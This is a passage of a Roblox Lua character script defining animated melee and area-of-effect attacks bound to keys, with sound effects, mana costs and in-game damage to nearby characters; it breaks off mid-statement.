Instance.new("Model",char) function FindNearestTorso(Position,Distance,SinglePlayer) if SinglePlayer then return(SinglePlayer.Torso.CFrame.p -Position).magnitude < Distance end local List = {} for i,v in pairs(workspace:GetChildren())do if v:IsA("Model")then if v:findFirstChild("Torso")then if v ~= char then if(v.Torso.Position -Position).magnitude <= Distance then table.insert(List,v) end end end end end return List end function Landing() part=Instance.new('Part',mod5) part.Anchored=true part.CanCollide=false part.FormFactor='Custom' part.Size=Vector3.new(.2,.2,.2) part.CFrame=root.CFrame*CFrame.new(0,-2,0) part.Transparency=.7 part.BrickColor=BrickColor.new('Really black') mesh=Instance.new('SpecialMesh',part) mesh.MeshId='http://www.roblox.com/asset/?id=20329976' mesh.TextureId = "http://www.roblox.com/asset/?id=122569107" mesh.Scale=Vector3.new(10,5,10) for i,v in pairs(FindNearestTorso(torso.CFrame.p,40))do if v:FindFirstChild('Humanoid') then v.Humanoid:TakeDamage(math.random(20,30)) v.Humanoid.PlatformStand = true v:FindFirstChild("Torso").Velocity = hed.CFrame.lookVector * 100 end end coroutine.resume(coroutine.create(function() for i=0,3.8,0.05 do wait() part.CFrame=part.CFrame part.Transparency=i mesh.Scale=mesh.Scale+Vector3.new(3,3,3) end part.Parent = nil end)) end ---------------------------------------------------- mod4 = Instance.new("Model",char) ptez = {0.7, 0.8, 0.9, 1} function FindNearestTorso(Position,Distance,SinglePlayer) if SinglePlayer then return(SinglePlayer.Torso.CFrame.p -Position).magnitude < Distance end local List = {} for i,v in pairs(workspace:GetChildren())do if v:IsA("Model")then if v:findFirstChild("Torso")then if v ~= char then if(v.Torso.Position -Position).magnitude <= Distance then table.insert(List,v) end end end end end return List end function GroundPound() part=Instance.new('Part',mod4) part.Anchored=true part.CanCollide=false part.FormFactor='Custom' part.Size=Vector3.new(.2,.2,.2) part.CFrame=root.CFrame*CFrame.new(0,-5.8,-2.4)*CFrame.Angles(math.rad(90),0,0) part.Transparency=.7 part.BrickColor=BrickColor.new('Institutional white') mesh=Instance.new('SpecialMesh',part) mesh.MeshId='http://www.roblox.com/asset/?id=3270017' mesh.TextureId = "http://www.roblox.com/asset/?id=122569107" mesh.Scale=Vector3.new(3,3,3) part2=Instance.new('Part',mod4) part2.Anchored=true part2.CanCollide=false part2.FormFactor='Custom' part2.Size=Vector3.new(.2,.2,.2) part2.CFrame=root.CFrame*CFrame.new(0,-5,-2.6) part2.Transparency=.7 part2.BrickColor=BrickColor.new('Institutional white') mesh2=Instance.new('SpecialMesh',part2) mesh2.MeshId='http://www.roblox.com/asset/?id=20329976' mesh2.Scale=Vector3.new(3,1.5,3) x = Instance.new("Sound",char) x.SoundId = "http://www.roblox.com/asset/?id=142070127" x.Pitch = ptez[math.random(1,#ptez)] x.Volume = 1 wait(.1) x:Play() for i,v in pairs(FindNearestTorso(torso.CFrame.p,12))do if v:FindFirstChild('Humanoid') then v.Humanoid:TakeDamage(math.random(8,15)) end end coroutine.resume(coroutine.create(function() for i=0,0.62,0.13 do wait() part.CFrame=part.CFrame part.Transparency=i mesh.Scale=mesh.Scale+Vector3.new(5,5,5) part2.CFrame=part2.CFrame part2.Transparency=i mesh2.Scale=mesh2.Scale+Vector3.new(5,5,5) end part.Parent=nil part2.Parent=nil x:Destroy() end)) end ---------------------------------------------------- mod=Instance.new('Model',char) function charge() hed.Velocity=hed.CFrame.lookVector*200 part=Instance.new('Part',mod) part.Anchored=true part.CanCollide=false part.FormFactor='Custom' part.Size=Vector3.new(.2,.2,.2) part.CFrame=hed.CFrame*CFrame.Angles(math.rad(90),0,0) part.Transparency=.7 part.Name = "Wow" part.BrickColor=BrickColor.new('Black') mesh=Instance.new('SpecialMesh',part) mesh.MeshId='http://www.roblox.com/asset/?id=20329976' mesh.TextureId = "http://www.roblox.com/asset/?id=122569107" mesh.Scale=Vector3.new(10,5,10) part2=part:clone() part2.Parent=mod part2.BrickColor=BrickColor.new('Institutional white') mesh2=mesh:clone() mesh2.Parent=part2 mesh2.Scale=Vector3.new(20,10,20) part3=part2:clone() part3.Parent = mod part3.BrickColor=BrickColor.new('Cyan') mesh3=mesh2:clone() mesh2.Parent=part3 mesh3.Scale=Vector3.new(30,15,30) coroutine.resume(coroutine.create(function() for i=0,1,0.1 do wait() part.CFrame=part.CFrame part.Transparency=i mesh.Scale=mesh.Scale+Vector3.new(1,1,1) part2.CFrame=part2.CFrame part2.Transparency=i mesh2.Scale=mesh2.Scale+Vector3.new(1,1,1) part3.CFrame=part3.CFrame part3.Transparency=i mesh3.Scale=mesh3.Scale+Vector3.new(1,1,1) end part.Parent=nil part2.Parent=nil part3.Parent = nil part1:remove() part:remove() part2:remove() part3:remove() end)) end ---------------------------------------------------- function FindNearestTorso(Position,Distance,SinglePlayer) if SinglePlayer then return(SinglePlayer.Torso.CFrame.p -Position).magnitude < Distance end local List = {} for i,v in pairs(workspace:GetChildren())do if v:IsA("Model")then if v:findFirstChild("Torso")then if v ~= char then if(v.Torso.Position -Position).magnitude <= Distance then table.insert(List,v) end end end end end return List end mod3 = Instance.new("Model",rleg) function Stomp() part=Instance.new('Part',mod3) part.Anchored=true part.CanCollide=false part.FormFactor='Custom' part.Size=Vector3.new(.2,.2,.2) part.CFrame=rleg.CFrame*CFrame.new(0,-2.4,0)*CFrame.Angles(math.rad(90),0,0) part.Transparency=0.7 part.BrickColor=BrickColor.new('') mesh=Instance.new('SpecialMesh',part) mesh.MeshId='http://www.roblox.com/asset/?id=3270017' mesh.TextureId = "http://www.roblox.com/asset/?id=122569107" mesh.Scale=Vector3.new(25,25,25) part2=part:clone() part2.Parent=mod3 part2.BrickColor=BrickColor.new('Deep orange') mesh2=mesh:clone() mesh2.Parent=part2 mesh2.Scale=Vector3.new(15,15,15) part3=part:clone() part3.Parent=mod3 part3.TopSurface=0 part3.BottomSurface=0 part3.CFrame=rleg.CFrame*CFrame.new(0,-3,0) mesh3=Instance.new('SpecialMesh',part3) mesh3.MeshType = 3 mesh3.Scale=Vector3.new(12,12,12) for i,v in pairs(FindNearestTorso(torso.CFrame.p,50))do if v:FindFirstChild('Humanoid') then v.Humanoid:TakeDamage(math.random(20,60)) v.Humanoid.PlatformStand = true v:FindFirstChild("Torso").Velocity = hed.CFrame.lookVector * 100 end end coroutine.resume(coroutine.create(function() for i=0,3.8,0.05 do wait() part.CFrame=part.CFrame part.Transparency=i mesh.Scale=mesh.Scale+Vector3.new(5,5,5) part2.CFrame=part2.CFrame part2.Transparency=i mesh2.Scale=mesh2.Scale+Vector3.new(5,5,5) part3.CFrame=part3.CFrame part3.Transparency=i mesh3.Scale=mesh3.Scale+Vector3.new(1.5,1.5,1.5) end end)) end ---------------------------------------------------- local acos = math.acos local sqrt = math.sqrt local Vec3 = Vector3.new local fromAxisAngle = CFrame.fromAxisAngle local function toAxisAngle(CFr) local X,Y,Z,R00,R01,R02,R10,R11,R12,R20,R21,R22 = CFr:components() local Angle = math.acos((R00+R11+R22-1)/2) local A = (R21-R12)^2+(R02-R20)^2+(R10-R01)^2 A = A == 0 and 0.00001 or A local B = (R21-R12)^2+(R02-R20)^2+(R10-R01)^2 B = B == 0 and 0.00001 or B local C = (R21-R12)^2+(R02-R20)^2+(R10-R01)^2 C = C == 0 and 0.00001 or C local x = (R21-R12)/sqrt(A) local y = (R02-R20)/sqrt(B) local z = (R10-R01)/sqrt(C) return Vec3(x,y,z),Angle end function ApplyTrig(Num,Func) local Min,Max = Func(0),Func(1) local i = Func(Num) return (i-Min)/(Max-Min) end function LerpCFrame(CFrame1,CFrame2,Num) local Vec,Ang = toAxisAngle(CFrame1:inverse()*CFrame2) return CFrame1*fromAxisAngle(Vec,Ang*Num) + (CFrame2.p-CFrame1.p)*Num end function Crater(Torso,Radius) Spawn(function() local Ray = Ray.new(Torso.Position,Vector3.new(0,-1,0)*10) local Ignore = {} for i,v in pairs(game:GetService("Players"):GetPlayers()) do if v.Character ~= nil then Ignore[#Ignore+1] = v.Character end end local Hit,Pos,SurfaceNorm = Workspace:FindPartOnRayWithIgnoreList(Ray,Ignore) if Hit == nil then return end local Parts = {} for i = 1,360,10 do local P = Instance.new("Part",Torso.Parent) P.Anchored = true P.FormFactor = "Custom" P.BrickColor = Hit.BrickColor P.Material = Hit.Material P.TopSurface = "Smooth" P.BottomSurface = "Smooth" P.Size = Vector3.new(5,10,10)*(math.random(80,100)/100) P.CFrame = ((CFrame.new(Pos,Pos+SurfaceNorm)*CFrame.Angles(math.rad(90),0,0))-Vector3.new(0,7,0))*CFrame.Angles(math.rad(math.random(-50,50)),math.rad(math.random(-50,50)),math.rad(math.random(-50,50))) Parts[#Parts+1] = {P,P.CFrame,((CFrame.new(Pos,Pos+SurfaceNorm)*CFrame.Angles(math.rad(90),0,0))-Vector3.new(0,1,0))*CFrame.Angles(0,math.rad(i),0)*CFrame.new(0,0,-Radius)*CFrame.Angles(math.rad(math.random(-50,-20)),math.rad(math.random(-15,15)),math.rad(math.random(-15,15))),P.Size} if math.random(0,5) == 0 then -- rubble local P = Instance.new("Part",Torso.Parent) P.Anchored = true P.FormFactor = "Custom" P.BrickColor = Hit.BrickColor P.Material = Hit.Material P.TopSurface = "Smooth" P.BottomSurface = "Smooth" P.Size = Vector3.new(2,2,2)*(math.random(80,100)/100) P.CFrame = ((CFrame.new(Pos,Pos+SurfaceNorm)*CFrame.Angles(math.rad(90),0,0))-Vector3.new(0,2.5,0))*CFrame.Angles(math.rad(math.random(-50,50)),math.rad(math.random(-50,50)),math.rad(math.random(-50,50))) Parts[#Parts+1] = {P,P.CFrame,(CFrame.new(Pos,Pos+SurfaceNorm)*CFrame.Angles(math.rad(90),0,0))*CFrame.Angles(0,math.rad(i),0)*CFrame.new(0,0,-Radius-8)*CFrame.Angles(math.rad(math.random(-90,90)),math.rad(math.random(-90,90)),math.rad(math.random(-90,90))),P.Size} end end for i = 0,1,0.05 do for i2,v in pairs(Parts) do v[1].CFrame = LerpCFrame(v[2],v[3],ApplyTrig(i,math.cos)) end wait(0.02) end for i,v in pairs(Parts) do if v[1].Size.X > 2.1 then v[1].CFrame = v[1].CFrame+Vector3.new(0,2,0) end v[1].Anchored = false end for i = 0,1,0.05 do for i2,v in pairs(Parts) do v[1].Transparency = i if i == 1 then v[1]:Destroy() elseif i >= 0.25 then v[1].CanCollide = false end end wait(0.02) end Parts = nil end) end ---------------------------------------------------- mouse.KeyDown:connect(function(key) if key == "r" and char.Mana.Value>=50 then char.Mana.Value = char.Mana.Value - 50 larm.BrickColor = BrickColor.new("Bright red") rarm.BrickColor = BrickColor.new("Bright red") if Debounces.CanAttack == true then Debounces.CanAttack = false Debounces.on = true Debounces.NoIdl = true to = char.Absolution.Thingy2.Touched:connect(function(ht) hit = ht.Parent if ht and hit:IsA("Model") then if hit:FindFirstChild("Humanoid") then if hit.Name ~= p.Name then hit:FindFirstChild("Humanoid"):TakeDamage(10) wait(1) end end elseif ht and hit:IsA("Hat") then if hit.Parent.Name ~= p.Name then if hit.Parent:FindFirstChild("Humanoid") then hit.Parent:FindFirstChild("Humanoid"):TakeDamage(10) wait(1) --Debounces.Slashed = false end end end end) q = Instance.new("Sound",hed) q.SoundId = "http://www.roblox.com/asset/?id=134012322" q.Pitch = 0.85 q.Looped = false q1 = Instance.new("Sound",hed) q1.SoundId = "http://www.roblox.com/asset/?id=134012322" q1.Pitch = 0.85 q1.Looped = false q:Play() q1:Play() for i = 1,20 do rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(2.3,1.1,-1) * CFrame.Angles(math.rad(115), math.rad(0), math.rad(-55)), 0.4) larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-2.3,1.1,-1) * CFrame.Angles(math.rad(115), math.rad(0), math.rad(55)), 0.4) hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0,3,0) * CFrame.Angles(math.rad(20), math.rad(0), math.rad(0)),0.4) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, 4, 0) * CFrame.Angles(math.rad(30), math.rad(0), 0), 0.4) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-1, -3, 1) * CFrame.Angles(math.rad(-60), 0, math.rad(0)), 0.4) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(1, -3, .6) * CFrame.Angles(math.rad(-60), 0, math.rad(0)), 0.4) cor.Weld.C0 = Lerp(cor.Weld.C0, CFrame.new(0, -2.2, -3) * CFrame.Angles(math.rad(-90), math.rad(-142), math.rad(0)), 0.5) if Debounces.on == false then break end wait() end n = Instance.new("Sound",hed) n.SoundId = "http://www.roblox.com/asset/?id=168514932" n.Pitch = 0.94 n.Looped = false n1 = Instance.new("Sound",hed) n1.SoundId = "http://www.roblox.com/asset/?id=168514932" n1.Pitch = 0.94 n1.Looped = false n:Play() n1:Play() b = Instance.new("Sound",hed) b.SoundId = "http://www.roblox.com/asset/?id=168586586" b.Pitch = 0.94 b.Looped = false b1 = Instance.new("Sound",hed) b1.SoundId = "http://www.roblox.com/asset/?id=168586586" b1.Pitch = 0.94 b1.Looped = false b:Play() b1:Play() for i = 1,26 do rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(2.3,1.1,-1) * CFrame.Angles(math.rad(50), math.rad(0), math.rad(-55)), 0.5) larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-2.3,1.1,-1) * CFrame.Angles(math.rad(50), math.rad(0), math.rad(55)), 0.5) hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0,3,0) * CFrame.Angles(math.rad(-10), math.rad(0), math.rad(0)),0.5) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1.1, 0) * CFrame.Angles(math.rad(-40), math.rad(0), 0), 0.5) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-1, -3, -1) * CFrame.Angles(math.rad(50), 0, math.rad(0)), 0.5) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(1, -3, .4) * CFrame.Angles(math.rad(-10), 0, math.rad(0)), 0.5) cor.Weld.C0 = Lerp(cor.Weld.C0, CFrame.new(1.4, -3.5, -7) * CFrame.Angles(math.rad(-90), math.rad(-142), math.rad(20)), 0.5) if Debounces.on == false then break end wait() end wait(.5) to:disconnect() q:Destroy() q1:Destroy() n:Destroy() n1:Destroy() larm.BrickColor = BrickColor.new("Really black") rarm.BrickColor = BrickColor.new("Really black") if Debounces.CanAttack == false then Debounces.CanAttack = true Debounces.on = false Debounces.NoIdl = false end end end end) ---------------------------------------------------- mouse.KeyDown:connect(function(key) if key == "q" and char.Mana.Value>=50 then char.Mana.Value = char.Mana.Value - 50 larm.BrickColor = BrickColor.new("Bright red") rarm.BrickColor = BrickColor.new("Bright red") if Debounces.CanAttack == true then Debounces.CanAttack = false Debounces.on = true Debounces.NoIdl = true to = char.Absolution.Thingy2.Touched:connect(function(ht) hit = ht.Parent if ht and hit:IsA("Model") then if hit:FindFirstChild("Humanoid") then if hit.Name ~= p.Name then hit:FindFirstChild("Humanoid"):TakeDamage(4) wait(1) --Debounces.Slashed = false --end end end elseif ht and hit:IsA("Hat") then if hit.Parent.Name ~= p.Name then if hit.Parent:FindFirstChild("Humanoid") then hit.Parent:FindFirstChild("Humanoid"):TakeDamage(4) wait(1) --Debounces.Slashed = false end end end end) for i = 1, 20 do rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(3,.9,0) * CFrame.Angles(math.rad(21), math.rad(75), math.rad(50)), 0.2) larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-3,.9,0) * CFrame.Angles(math.rad(-30), math.rad(0), math.rad(-18)), 0.2) hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0,3,-.2) * CFrame.Angles(math.rad(-14),math.rad(-60),0), 0.5) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1.2, 0) * CFrame.Angles(0, math.rad(70), 0), 0.5) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-1.2, -3, 0) * CFrame.Angles(0, 0, math.rad(-10)), 0.5) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(1.2, -3, 0) * CFrame.Angles(0, 0, math.rad(10)), 0.5) cor.Weld.C0 = Lerp(cor.Weld.C0, CFrame.new(0, -1.7, -1.4) * CFrame.Angles(math.rad(-90), math.rad(-90), math.rad(0)), 1) if Debounces.on == false then break end wait() end z = Instance.new("Sound",hed) z.SoundId = "rbxassetid://160069154" z.Looped = false z.Pitch = .9 z1 = Instance.new("Sound",hed) z1.SoundId = "rbxassetid://160069154" z1.Looped = false z1.Pitch = .9 wait(0.01) z:Play() z1:Play() for i = 1, 12 do rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(3,.9,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(50)), 0.2) larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-2,.9,-1) * CFrame.Angles(math.rad(60), math.rad(0), math.rad(20)), 0.5) hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0,3,-.2) * CFrame.Angles(math.rad(-14),math.rad(30),0), 0.5) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -3, 0) * CFrame.Angles(math.rad(0), math.rad(-30), math.rad(0)), 0.5) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-1, -1, -2) * CFrame.Angles(math.rad(-10), 0, 0), 0.5) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(1, -2.8, .6) * CFrame.Angles(math.rad(-65), 0, 0), 0.5) cor.Weld.C0 = Lerp(cor.Weld.C0, CFrame.new(0, -1.7, -1.4) * CFrame.Angles(math.rad(-90), math.rad(-90), math.rad(0)), 1) if Debounces.on == false then break end wait() end for i = 1, 12 do rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(3,.9,0) * CFrame.Angles(math.rad(140), math.rad(0), math.rad(50)), 0.4) larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-3,.9,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-18)), 0.4) hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0,3,-.2) * CFrame.Angles(math.rad(-14),math.rad(10),0), 0.5) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1.2, 0) * CFrame.Angles(0, math.rad(-10), 0), 0.5) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-1.2, -3, 0) * CFrame.Angles(0, 0, math.rad(-10)), 0.5) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(1.2, -3, 0) * CFrame.Angles(0, 0, math.rad(10)), 0.5) cor.Weld.C0 = Lerp(cor.Weld.C0, CFrame.new(0, -1.7, -1.4) * CFrame.Angles(math.rad(-90), math.rad(-90), math.rad(0)), 1) if Debounces.on == false then break end wait() end z = Instance.new("Sound",hed) z.SoundId = "rbxassetid://168586621" z.Looped = false z.Pitch = 1 z1 = Instance.new("Sound",hed) z1.SoundId = "rbxassetid://168586621" z1.Looped = false z1.Pitch = 1 wait(0.01) z:Play() z1:Play() for i = 1, 12 do rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(3,.9,0) * CFrame.Angles(math.rad(40), math.rad(-20), math.rad(10)), 0.5) larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-3,.9,0) * CFrame.Angles(math.rad(-20), math.rad(0), math.rad(-18)), 0.4) hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0,3,-.2) * CFrame.Angles(math.rad(-14),math.rad(-40),0), 0.5) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1.2, 0) * CFrame.Angles(0, math.rad(40), 0), 0.5) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-1.2, -3, 0) * CFrame.Angles(math.rad(-20), 0, math.rad(-10)), 0.5) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(1.2, -3, 0) * CFrame.Angles(math.rad(20), 0, math.rad(10)), 0.5) cor.Weld.C0 = Lerp(cor.Weld.C0, CFrame.new(0, -2.8, -1.4) * CFrame.Angles(math.rad(-110), math.rad(-90), math.rad(20)), 1) if Debounces.on == false then break end wait() end to:disconnect() larm.BrickColor = BrickColor.new("Really black") rarm.BrickColor = BrickColor.new("Really black") if Debounces.CanAttack == false then Debounces.CanAttack = true Debounces.on = false Debounces.NoIdl = false end end end end) ---------------------------------------------------- Sit = false mouse.KeyDown:connect(function(key) if key == "v" then if Sit == false then Sit = true hum.WalkSpeed = 20 stanceToggle = "Sitting" elseif Sit == true then Sit = false hum.WalkSpeed = 50 stanceToggle = "Normal" end end end) ---------------------------------------------------- mouse.KeyDown:connect(function(key) if key == "t" and char.Mana.Value>=50 then char.Mana.Value = char.Mana.Value - 50 if Debounces.CanAttack == true then Debounces.CanAttack = false Debounces.on = true Debounces.NoIdl = true for i = 1, 25 do rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(2.3,1.1,-1) * CFrame.Angles(math.rad(115), math.rad(0), math.rad(-55)), 0.4) larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-2.3,1.1,-1) * CFrame.Angles(math.rad(115), math.rad(0), math.rad(55)), 0.4) hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0,3,0) * CFrame.Angles(math.rad(20), math.rad(0), math.rad(0)),0.4) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(30), math.rad(0), 0), 0.4) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-1, -3, .6) * CFrame.Angles(math.rad(-30), 0, math.rad(0)), 0.4) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(1, -2, -1.2) * CFrame.Angles(math.rad(0), 0, math.rad(0)), 0.4) cor.Weld.C0 = Lerp(cor.Weld.C0, CFrame.new(1.4, -3.5, -7) * CFrame.Angles(math.rad(-90), math.rad(-142), math.rad(20)), 1) if Debounces.on == false then break end wait() end Spawn(function() local Parts = {} for Y = -5,5 do local P = Instance.new("Part",char) P.Anchored = true P.FormFactor = "Custom" P.CanCollide = false P.Size = Vector3.new(1,1,1) P.TopSurface = "SmoothNoOutlines" P.BottomSurface = "SmoothNoOutlines" P.BrickColor = BrickColor.new("Really black") P.Material = "Neon" P.Name = tostring(Y) local i = (Y+5)/(10) i = 1-math.cos(math.pi*i-(math.pi/2)) P.CFrame = char.HumanoidRootPart.CFrame*CFrame.new(0,Y,-15+(i*1.5))*CFrame.Angles(math.rad(Y*6),0,0) P.Touched:connect(function(ht) local hit = ht.Parent if hit:FindFirstChild("Humanoid") then hit.Humanoid:TakeDamage(math.random(100,math.huge)) end end) s = Instance.new("Sound",P) s.SoundId = "rbxassetid://228343271" s.Volume = .7 s.Pitch = 0.9 s:Play() P.Touched:connect(function(ht) hit = ht.Parent if ht and hit:IsA("Model") then if hit:FindFirstChild("Humanoid") then if hit.Name ~= p.Name then hit:FindFirstChild("Humanoid"):TakeDamage(math.huge) hit:FindFirstChild("Humanoid").PlatformStand = true wait(1) --Debounces.Slashed = false --end end end elseif ht and hit:IsA("Hat") then if hit.Parent.Name ~= p.Name then if hit.Parent:FindFirstChild("Humanoid") then hit.Parent:FindFirstChild("Humanoid"):TakeDamage(math.random (1,3)) hit:FindFirstChild("Humanoid").PlatformStand = true wait(1) --Debounces.Slashed = false --end end end end end) Parts[#Parts+1] = P end local BREAKIT = false local CParts = {} local Rocks = {} local LastPos = nil for i = 1,70 do for i2,v in pairs(Parts) do v.CFrame = v.CFrame*CFrame.new(0,0,-4) local cf = v.CFrame v.Size = v.Size+Vector3.new(1,1,1) v.CFrame = cf v.Transparency = v.Transparency+0.02 if v.Transparency >= 0.975 then BREAKIT = true end if v.Name == "0" then local Ignore = {} for i,v in pairs(game:GetService("Players"):GetPlayers()) do if v.Character ~= nil then Ignore[#Ignore+1] = v.Character end end local ray = Ray.new(v.Position+Vector3.new(0,20,0),Vector3.new(0,-200,0)) local Hit,Pos,SurfaceNorm = Workspace:FindPartOnRayWithIgnoreList(ray,Ignore) if Hit ~= nil then if #Rocks == 0 then for i = 1,5 do local P = Instance.new("Part",char) Rocks[#Rocks+1] = P P.Anchored = true P.FormFactor = "Custom" P.BrickColor = Hit.BrickColor P.Material = Hit.Material P.TopSurface = "Smooth" P.BottomSurface = "Smooth" P.Size = Vector3.new(1,1,1)*(math.random(500,900)/100) end end for i,P in pairs(Rocks) do P.CFrame = ((CFrame.new(Pos)*(v.CFrame-v.Position))*CFrame.new(math.random(-math.ceil(v.Size.X/2),math.ceil(v.Size.X/2)),0,-math.random(5,8))-Vector3.new(0,0.25,0))*CFrame.Angles(math.rad(math.random(-50,50)),math.rad(math.random(-50,50)),math.rad(math.random(20,50))) end local P = Instance.new("Part",char) CParts[#CParts+1] = {P,tick()} P.Anchored = true P.FormFactor = "Custom" P.BrickColor = Hit.BrickColor P.Material = Hit.Material P.TopSurface = "Smooth" P.BottomSurface = "Smooth" P.Size = Vector3.new(5,5,5)*(math.random(100,300)/100) Pos = CFrame.new(Pos)*(v.CFrame-v.Position)*CFrame.new(v.Size.X/2,0,0) Pos = Pos.p P.CFrame = ((CFrame.new(Pos,Pos+SurfaceNorm)*CFrame.Angles(math.rad(90),0,0))-Vector3.new(0,0.25,0))*CFrame.Angles(math.rad(math.random(-50,50)),math.rad(math.random(-50,50)),math.rad(math.random(20,50))) local P = P:Clone() CParts[#CParts+1] = {P,tick()} P.Parent = char Pos = CFrame.new(Pos)*(v.CFrame-v.Position)*CFrame.new(-v.Size.X,0,0) Pos = Pos.p P.CFrame = ((CFrame.new(Pos,Pos+SurfaceNorm)*CFrame.Angles(math.rad(90),0,0))-Vector3.new(0,0.25,0))*CFrame.Angles(math.rad(math.random(-50,50)),math.rad(math.random(-50,50)),math.rad(math.random(-50,-20))) if LastPos ~= nil then local P = P:Clone() CParts[#CParts+1] = {P,tick()} P.Parent = char P.BrickColor = BrickColor.new("Really black") Pos = CFrame.new(Pos)*(v.CFrame-v.Position)*CFrame.new(v.Size.X/2,0,0) Pos = Pos.p local CFr = (CFrame.new(Pos)*(v.CFrame-v.Position))-Vector3.new(0,0.4,0) P.Size = Vector3.new(v.Size.X-0.25,1,(CFr.p-LastPos.p).Magnitude+0.30) --P.Velocity = Vector3.new(0,-1000,0) P.CFrame = CFrame.new(CFr.p,LastPos.p)*CFrame.new(0,0,-((CFr.p-LastPos.p).Magnitude+0.25)/2) end LastPos = (CFrame.new(Pos)*(v.CFrame-v.Position))-Vector3.new(0,0.4,0) end end end if BREAKIT then break end wait(0.002) end for i,v in pairs(Rocks) do CParts[#CParts+1] = {v,tick()} end for i,v in pairs(Parts) do v:Destroy() end Parts = nil while true do local t = tick() local p = nil for i,v in pairs(CParts) do if t-v[2] > 4 then v[1].Transparency = v[1].Transparency+0.05 if v[1].Transparency >= 1 then v[1]:Destroy() CParts[i] = nil end end p = v end if p == nil then break end wait(0.002) end for i,v in pairs(CParts) do v:Destroy() end CParts = {} end) for i = 1, 20 do rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(2.3,.8,-1) * CFrame.Angles(math.rad(50), math.rad(0), math.rad(-55)), 0.4) larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-2.3,.8,-1) * CFrame.Angles(math.rad(50), math.rad(0), math.rad(55)), 0.4) hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0,3,0) * CFrame.Angles(math.rad(-20), math.rad(0), math.rad(0)),0.4) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -2.6, 0) * CFrame.Angles(math.rad(-30), math.rad(0), 0), 0.4) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-1, -1, -1.4) * CFrame.Angles(math.rad(40), 0, math.rad(0)), 0.4) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(1, -1.6, -.9) * CFrame.Angles(math.rad(10), 0, math.rad(0)), 0.4) cor.Weld.C0 = Lerp(cor.Weld.C0, CFrame.new(1.4, -3.5, -7) * CFrame.Angles(math.rad(-90), math.rad(-142), math.rad(20)), 1) if Debounces.on == false then break end wait() end if Debounces.CanAttack == false then Debounces.CanAttack = true Debounces.on = false Debounces.NoIdl = false end end end end) ---------------------------------------------------- mouse.KeyDown:connect(function(key) if key == "e" and char.Mana.Value>=50 then char.Mana.Value = char.Mana.Value - 50 larm.BrickColor = BrickColor.new("Bright red") rarm.BrickColor = BrickColor.new("Bright red") if Debounces.CanAttack == true then Debounces.CanAttack = false Debounces.on = true Debounces.NoIdl = true for i = 1, 18 do rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(3, 1.7, 0) * CFrame.Angles(math.rad(90),math.rad(50),math.rad(90)), 0.4) larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-3, 0.9, 0) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(-20)), 0.4) hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 3, 0) * CFrame.Angles(math.rad(-14),math.rad(0),0), 0.4) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1.2, 0) * CFrame.Angles(0, math.rad(0), 0), 0.4) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-1, -3, 0) * CFrame.Angles(0, 0, math.rad(-10)), 0.4) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(1, -3, 0) * CFrame.Angles(0, 0, math.rad(10)), 0.4) cor.Weld.C0 = Lerp(cor.Weld.C0, CFrame.new(0, -1.5, -.9) * CFrame.Angles(math.rad(-90), math.rad(-90), math.rad(0)), 1) if 